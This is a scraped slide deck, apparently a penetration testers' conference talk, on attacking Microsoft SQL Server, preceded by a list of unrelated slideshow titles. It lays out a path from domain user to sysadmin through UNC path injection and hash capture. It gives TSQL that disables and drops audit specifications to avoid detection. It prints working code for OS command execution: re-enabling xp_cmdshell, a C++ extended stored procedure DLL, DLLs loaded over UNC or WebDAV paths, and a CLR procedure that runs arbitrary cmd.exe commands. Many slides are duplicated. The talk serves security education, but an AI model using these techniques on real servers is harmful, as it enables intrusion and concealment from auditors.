Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
 
Fueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte WebinarFueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte Webinar
 
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development ProvidersYour One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
 
HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
 
Crafting Excellence: A Comprehensive Guide to iOS Mobile App Development Serv...
Crafting Excellence: A Comprehensive Guide to iOS Mobile App Development Serv...Crafting Excellence: A Comprehensive Guide to iOS Mobile App Development Serv...
Crafting Excellence: A Comprehensive Guide to iOS Mobile App Development Serv...
 
GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)
 
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge GraphGraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
 
Introduction of Cybersecurity with OSS at Code Europe 2024
Introduction of Cybersecurity with OSS  at Code Europe 2024Introduction of Cybersecurity with OSS  at Code Europe 2024
Introduction of Cybersecurity with OSS at Code Europe 2024
 
"Frontline Battles with DDoS: Best practices and Lessons Learned", Igor Ivaniuk
"Frontline Battles with DDoS: Best practices and Lessons Learned",  Igor Ivaniuk"Frontline Battles with DDoS: Best practices and Lessons Learned",  Igor Ivaniuk
"Frontline Battles with DDoS: Best practices and Lessons Learned", Igor Ivaniuk
 
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdfHow to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
 
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAUHCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
 
"Choosing proper type of scaling", Olena Syrota
"Choosing proper type of scaling", Olena Syrota"Choosing proper type of scaling", Olena Syrota
"Choosing proper type of scaling", Olena Syrota
 
What is an RPA CoE? Session 1 – CoE Vision
What is an RPA CoE?  Session 1 – CoE VisionWhat is an RPA CoE?  Session 1 – CoE Vision
What is an RPA CoE? Session 1 – CoE Vision
 
Mutation Testing for Task-Oriented Chatbots
Mutation Testing for Task-Oriented ChatbotsMutation Testing for Task-Oriented Chatbots
Mutation Testing for Task-Oriented Chatbots
 
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing InstancesEnergy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
 
JavaLand 2024: Application Development Green Masterplan
JavaLand 2024: Application Development Green MasterplanJavaLand 2024: Application Development Green Masterplan
JavaLand 2024: Application Development Green Masterplan
 
Essentials of Automations: Exploring Attributes & Automation Parameters
Essentials of Automations: Exploring Attributes & Automation ParametersEssentials of Automations: Exploring Attributes & Automation Parameters
Essentials of Automations: Exploring Attributes & Automation Parameters
 
June Patch Tuesday
June Patch TuesdayJune Patch Tuesday
June Patch Tuesday
 
[OReilly Superstream] Occupy the Space: A grassroots guide to engineering (an...
[OReilly Superstream] Occupy the Space: A grassroots guide to engineering (an...[OReilly Superstream] Occupy the Space: A grassroots guide to engineering (an...
[OReilly Superstream] Occupy the Space: A grassroots guide to engineering (an...
 
Y-Combinator seed pitch deck template PP
Y-Combinator seed pitch deck template PPY-Combinator seed pitch deck template PP
Y-Combinator seed pitch deck template PP
 

Beyond XP_CMDSHELL: Owning the Empire Through SQL Server

  • 1. BEYOND XP_CMDSHELL OWNING THE EMPIRE THROUGH SQL SERVER
  • 2. 2 Confidential & Proprietary2 Confidential & Proprietary MISSION TO SYSADMIN… …AND BEYOND!
  • 3. 3 Confidential & Proprietary BEYOND XP_CMDSHELL: PRESENTATION OVERVIEW 3 MISSION OBJECTIVES 1. Get Access 2. Hide from Audit Controls 3. Execute OS Commands 4. Use SQL Server as a beach head 5. Detect OS Command Execution
  • 4. 4 Confidential & Proprietary BEYOND XP_CMDSHELL 4 Who are we?  Alexander Leary  Scott Sutherland
  • 5. 5 Confidential & Proprietary BEYOND XP_CMDSHELL 5 Alexander Leary Name: Alexander Leary Job: Network & Application Pentester @ NetSPI Twitter: @0xbadjuju Slides: On their way  Blogs: https://blog.netspi.com/author/aleary/ Code: https://blog.netspi.com/expanding-the-empire-with-sql/ WMI FUN 4 U
  • 6. 6 Confidential & Proprietary BEYOND XP_CMDSHELL 6 Scott Sutherland Name: Scott Sutherland Job: Network & Application Pentester @ NetSPI Twitter: @_nullbind Slides: http://slideshare.net/nullbind http://slideshare.net/netspi Blogs: https://blog.netspi.com/author/scott-sutherland/ Code: https://github.com/netspi/PowerUpSQL https://github.com/nullbind
  • 7. 7 Confidential & Proprietary7 Confidential & Proprietary GET ACCESS
  • 8. 8 Confidential & Proprietary BEYOND XP_CMDSHELL: GET ACCESS 8 Get Access: Escalation Path 1. Locate SQL Servers on the domain via LDAP queries to DC 2. Attempt to log into each one as the current domain user 3. Perform UNC path injection to capture SQL Server service account password hash Reference: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/
  • 9. 9 Confidential & Proprietary BEYOND XP_CMDSHELL: GET ACCESS 9 Get Access: Privilege Escalation Path Domain User Access Excessive Privileges Public Role on SQL Server UNC Path Injection Attack IP https://gist.githubusercontent.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e Crack or Relay Password Hash Access SQL Server using Service Account (sysadmin)
  • 10. 10 Confidential & Proprietary 10 Get Access: PowerUpSQL Automation BEYOND XP_CMDSHELL: GET ACCESS Action PowerUpSQL Function Get SQL Server service account password hashes Invoke-SQLUncPathInjection
  • 11. 11 Confidential & Proprietary 11 Get Access: PowerUpSQL Automation  Invoke-SQLUncPathInjection  Written by Thomas Elling  Gold Star PowerUpSQL contributor! BEYOND XP_CMDSHELL: GET ACCESS
  • 12. 12 Confidential & Proprietary BEYOND XP_CMDSHELL: GET ACCESS 12 DEMO
  • 13. 13 Confidential & Proprietary BEYOND XP_CMDSHELL: GET ACCESS 13
  • 14. 14 Confidential & Proprietary14 Confidential & Proprietary HIDE FROM AUDIT CONTROLS
  • 15. 15 Confidential & Proprietary BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS 15 Checking Audit Controls  List Server audits  List Server audit specifications (DDL Events)  List Database audit specifications (DML Events) Server Audit Server Audit Specification Database 1 Audit Specification Database 2 Audit Specification https://msdn.microsoft.com/en-us/library/cc280663(v=sql.100).aspx
  • 16. 16 Confidential & Proprietary BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS 16 Checking Audit Controls – Code – List Server Audits SELECT * FROM sys.dm_server_audit_status
  • 17. 17 Confidential & Proprietary 17
  • 18. 18 Confidential & Proprietary BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS 18 Checking Audit Controls – Code – List Server Specs SELECT audit_id, a.name as audit_name, s.name as server_specification_name, d.audit_action_name, s.is_state_enabled, d.is_group, d.audit_action_id, s.create_date, s.modify_date FROM sys.server_audits AS a JOIN sys.server_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.server_audit_specification_details AS d ON s.server_specification_id = d.server_specification_id
  • 19. 19 Confidential & Proprietary 19
  • 20. 20 Confidential & Proprietary BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS 20 Checking Audit Controls – Code – List Database Specs SELECT a.audit_id, a.name as audit_name, s.name as database_specification_name, d.audit_action_name, d.major_id, OBJECT_NAME(d.major_id) as object, s.is_state_enabled, d.is_group, s.create_date, s.modify_date, d.audited_result FROM sys.server_audits AS a JOIN sys.database_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.database_audit_specification_details AS d ON s.database_specification_id = d.database_specification_id
  • 21. 21 Confidential & Proprietary 21
  • 22. 22 Confidential & Proprietary BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS 22 Hiding from Audit Controls  Remove audit controls – not recommended  Disable audit controls – not recommended  Just use techniques that aren’t being audited
  • 23. 23 Confidential & Proprietary BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS 23 Hiding from Audit Controls –Disable or Remove Audit -- Disable and remove SERVER AUDIT ALTER SERVER AUDIT DerbyAudit WITH (STATE = OFF) DROP SERVER AUDIT Audit_StartUp_Procs -- Disable and remove SERVER AUDIT SPECIFICATION ALTER SERVER AUDIT SPECIFICATION Audit_Server_Configuration_Changes WITH (STATE = OFF) DROP SERVER AUDIT SPECIFICATION Audit_Server_Configuration_Changes -- Disable and remove DATABASE AUDIT SPECIFICATION ALTER DATABASE AUDIT SPECIFICATION Audit_OSCMDEXEC WITH (STATE = OFF) DROP DATABASE AUDIT SPECIFICATION Audit_OSCMDEXEC
  • 24. 24 Confidential & Proprietary 24 “This event is raised whenever any audit is created, modified or deleted.”
  • 25. 25 Confidential & Proprietary 25 Obtain Sysadmin Access – Automation – PowerUpSQL BEYOND XP_CMDSHELL: HIDE FROM AUDITING CONTROLS Action PowerUpSQL Function Get Server Specifications Get-SQLAuditServerSpec Get Database Specifications Get-SQLAuditDatabaseSpec
  • 26. 26 Confidential & Proprietary26 Confidential & Proprietary OS COMMAND EXECUTION Where? Everywhere!
  • 27. 27 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 27 Reminder OS commands via SQL Server = Windows Account Impersonation Many possible configurations:  Local User  Local System  Network Service  Local Managed Service Account  Domain Managed Service Account  Domain User  Domain Admin
  • 28. 28 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 28 SQL Server Agent Service
  • 29. 29 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 29 Use SQL Server components to run commands via  .Net Methods  New Process() + UseShellExecute  System.management.automation.powershell  C++ Methods  ShellExecute / ShellExecuteEx  System  COM Objects  wscript.shell  shell.application
  • 30. 30 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 30 xp_cmdshell
  • 31. 31 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL 31 xp_cmdshell: Overview 1. C++ DLL export registered by default 2. Affected Versions: All  Disabled by default since SQL Server 2005 3. Requires sysadmin role by default 4. EXECUTE privileges can be granted to a database user if the xp_cmdshell_proxy_account is configured correctly 5. Executes as the SQL Server service account
  • 32. 32 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL 32 xp_cmdshell: Configuration Changes and Execution Action TSQL Example Re-Install sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' Re-Enable EXEC sp_configure 'show advanced options', 1; RECONFIGURE; GO EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; GO Execute Exec master..xp_cmdshell 'whoami'
  • 33. 33 Confidential & Proprietary 33 xp_cmdshell: Automation – PowerUpSQL BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP_CMDSHELL Action PowerUpSQL Function Execute OS Commands via xp_cmdshell Invoke-SQLOSCmdExec
  • 34. 34 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL 34 xp_cmdshell is monitored more than we’d like CAN THEY SEE ME ?!?! CAN THEY SEE ME ?!?! Yes, yes they can.
  • 35. 35 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 35 GOOD NEWS
  • 36. 36 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 36 THERE ARE OTHER OPTIONS
  • 37. 37 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 37 1. Extended Stored Procedures 2. CLR Assemblies 3. Agent Jobs (a) CMDEXEC (b) PowerShell (c) ActiveX: VBScript (d) ) ActiveX: Jscript (e) SSIS 4. Ole Automation Procedures 5. R Scripts 6. Python Scripts 7. Openrowset/OpenDataSource/OpenQuery using Providers 8. Registry and file autoruns
  • 38. 38 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 38 Extended Stored Procedures
  • 39. 39 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP 39 Extended Stored Procedure (XP) - Overview 1. C++ DLL export that maps to SQL Server stored procedure 2. Affected Versions: All 3. Requires sysadmin role by default 4. Executes as the SQL Server service account 5. The DLL can have any file extension  6. The DLL can be loaded from Webdav 
  • 40. 40 Confidential & Proprietary 40 Extended Stored Procedure – Code – C++ #include "stdio.h" #include "stdafx.h" #include "srv.h" #include "shellapi.h" #include "string" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return 1; } __declspec(dllexport) ULONG __GetXpVersion() { return 1; } #define RUNCMD_FUNC extern "C" __declspec (dllexport) RUNPS_FUNC int __stdcall RunPs(const char * Command) { ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW); system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt""); return 1; } Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
  • 41. 41 Confidential & Proprietary 41 Extended Stored Procedure – Code – C++ #include "stdio.h" #include "stdafx.h" #include "srv.h" #include "shellapi.h" #include "string" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return 1; } __declspec(dllexport) ULONG __GetXpVersion() { return 1; } #define RUNCMD_FUNC extern "C" __declspec (dllexport) RUNPS_FUNC int __stdcall RunPs(const char * Command) { ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW); system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt""); return 1; } BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
  • 42. 42 Confidential & Proprietary 42 Extended Stored Procedure – Code – C++ #include "stdio.h" #include "stdafx.h" #include "srv.h" #include "shellapi.h" #include "string" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return 1; } __declspec(dllexport) ULONG __GetXpVersion() { return 1; } #define RUNCMD_FUNC extern "C" __declspec (dllexport) RUNPS_FUNC int __stdcall RunPs(const char * Command) { ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW); system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt""); return 1; } BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
  • 43. 43 Confidential & Proprietary 43 Extended Stored Procedure – Code – C++ #include "stdio.h" #include "stdafx.h" #include "srv.h" #include "shellapi.h" #include "string" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return 1; } __declspec(dllexport) ULONG __GetXpVersion() { return 1; } #define RUNCMD_FUNC extern "C" __declspec (dllexport) RUNPS_FUNC int __stdcall RunPs(const char * Command) { ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW); system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt""); return 1; } BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
  • 44. 44 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP 44 Extended Stored Procedure (XP) - Instructions 1. Compile the C++ DLL 2. Register the exported DLL functions in SQL Server using “sp_addextendedproc“ (“DBCC ADDEXTENDEDPROC” wrapper)
  • 45. 45 Confidential & Proprietary 45 Extended Stored Procedure – Code – TSQL BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP -- Register xp via local disk sp_addextendedproc ‘RunPs', ‘c:runps.dll’ -- Register xp via UNC path sp_addextendedproc ‘RunPs', 'servernamepathtofilerunps.dll’ -- Register xp via webdav path sp_addextendedproc ‘RunPs', 'servername@80pathtofilerunps.dll’ -- Register xp via webdav path and renamed with a .txt extension sp_addextendedproc ‘RunPs', 'servername@80pathtofilerunps.txt’ -- Run xp Exec RunPs -- Remove xp sp_dropextendedproc ‘RunPs’
  • 46. 46 Confidential & Proprietary 46 Extended Stored Procedures – Automation – PowerUpSQL BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP Action PowerUpSQL Function Create DLL to Execute OS Commands via XP Create-SQLFileXpDll List existing XP for all databases Get-SQLStoredProcedureXP
  • 47. 47 Confidential & Proprietary 47 Extended Stored Procedure – Automation - PowerUpSQL PS C:> Import-Module .PowerUpSQL.psd1 PS c:> Create-SQLFileXpDll -Verbose -OutFile c:mycmd.dll -Command "echo pure evil > c:evil.txt" -ExportName xp_mycmd VERBOSE: Found buffer offset for command: 32896 VERBOSE: Found buffer offset for function name: 50027 VERBOSE: Found buffer offset for buffer: 50035 VERBOSE: Creating DLL c:mycmd.dll VERBOSE: - Exported function name: xp_mycmd VERBOSE: - Exported function command: "echo pure evil > c:evil.txt" VERBOSE: - Manual test: rundll32 c:mycmd.dll,xp_mycmd VERBOSE: - DLL written VERBOSE: SQL Server Notes VERBOSE: The exported function can be registered as a SQL Server extended stored procedure... VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:myxp.dll' VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd', 'servernamepathtofilemyxp.dll' VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
  • 48. 48 Confidential & Proprietary 48 Extended Stored Procedure – Automation - PowerUpSQL PS C:> Import-Module .PowerUpSQL.psd1 PS c:> Create-SQLFileXpDll -Verbose -OutFile c:mycmd.dll -Command "echo pure evil > c:evil.txt" -ExportName xp_mycmd VERBOSE: Found buffer offset for command: 32896 VERBOSE: Found buffer offset for function name: 50027 VERBOSE: Found buffer offset for buffer: 50035 VERBOSE: Creating DLL c:mycmd.dll VERBOSE: - Exported function name: xp_mycmd VERBOSE: - Exported function command: "echo pure evil > c:evil.txt" VERBOSE: - Manual test: rundll32 c:mycmd.dll,xp_mycmd VERBOSE: - DLL written VERBOSE: SQL Server Notes VERBOSE: The exported function can be registered as a SQL Server extended stored procedure... VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:myxp.dll' VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd', 'servernamepathtofilemyxp.dll' VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
  • 49. 49 Confidential & Proprietary 49 Extended Stored Procedure – Automation - PowerUpSQL PS C:> Import-Module .PowerUpSQL.psd1 PS c:> Create-SQLFileXpDll -Verbose -OutFile c:mycmd.dll -Command "echo pure evil > c:evil.txt" -ExportName xp_mycmd VERBOSE: Found buffer offset for command: 32896 VERBOSE: Found buffer offset for function name: 50027 VERBOSE: Found buffer offset for buffer: 50035 VERBOSE: Creating DLL c:mycmd.dll VERBOSE: - Exported function name: xp_mycmd VERBOSE: - Exported function command: "echo pure evil > c:evil.txt" VERBOSE: - Manual test: rundll32 c:mycmd.dll,xp_mycmd VERBOSE: - DLL written VERBOSE: SQL Server Notes VERBOSE: The exported function can be registered as a SQL Server extended stored procedure... VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:myxp.dll' VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd', 'servernamepathtofilemyxp.dll' VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
  • 50. 51 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION 51 Common Language Runtime (CLR) Assemblies
  • 51. 52 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR 52 CLR Assemblies- Overview 1. .net DLL method that maps to a SQL Server stored procedure  2. Affected Versions: SQL Server 2008 to 2017 (so far) 3. Requires sysadmin role by default 4. Non sysadmin privileges: CREATE ASSEMBLY, ALTER ASSEMBLY, or DDL_ADMIN Role 5. Executes as the SQL Server service account
  • 52. 53 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CRL 53 CLR Assemblies- Overview Lots of great work by:  Lee Christensen (@tifkin_)  Nathan Kirk http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/
  • 53. 54 Confidential & Proprietary BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR 54 CLR Assemblies - Instructions 1. Compile a .net assembly DLL 2. Server level setting: “clr enabled” set to 1 3. Server level setting: “clr strict security” set to 0 (2017) 4. Database level setting: “is_trustworthy” is set to “1” - (or) use the default “msdb” database 5. Create Assembly from the file (or hexdecimal string) - assembly is stored in SQL Server Table 6. Create Procedure that maps to CLR methods 7. Run your procedure Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
  • 54. 55 Confidential & Proprietary 55 CLR Assemblies – Code Sample - .net DLL using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.IO; using System.Diagnostics; using System.Text; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand) { // Run command Process proc = new Process(); proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe"; proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); // Return command resutls SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); SqlContext.Pipe.SendResultsStart(record); record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); SqlContext.Pipe.SendResultsRow(record); SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); } }; BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
  • 55. 56 Confidential & Proprietary 56 CLR Assemblies – Code Sample - .net DLL using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.IO; using System.Diagnostics; using System.Text; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand) { // Run command Process proc = new Process(); proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe"; proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); // Return command results SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); SqlContext.Pipe.SendResultsStart(record); record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); SqlContext.Pipe.SendResultsRow(record); SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); } }; BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
  • 56. 57 Confidential & Proprietary 57 CLR Assemblies – Code Sample - .net DLL using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.IO; using System.Diagnostics; using System.Text; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand) { // Run command Process proc = new Process(); proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe"; proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); // Return command results SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); SqlContext.Pipe.SendResultsStart(record); record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); SqlContext.Pipe.SendResultsRow(record); SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); } }; BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
  • 57. 58 Confidential & Proprietary 58 CLR Assemblies – Code Sample - .net DLL using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.IO; using System.Diagnostics; using System.Text; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand) { // Run command Process proc = new Process(); proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe"; proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); // Return command results SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); SqlContext.Pipe.SendResultsStart(record); record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); SqlContext.Pipe.SendResultsRow(record); SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); } }; BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
  • 58. 59 Confidential & Proprietary 59 CLR Assemblies – Code Sample - .net DLL using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.IO; using System.Diagnostics; using System.Text; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand) { // Run command Process proc = new Process(); proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe"; proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); // Return command results SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); SqlContext.Pipe.SendResultsStart(record); record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); SqlContext.Pipe.SendResultsRow(record); SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); } }; BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
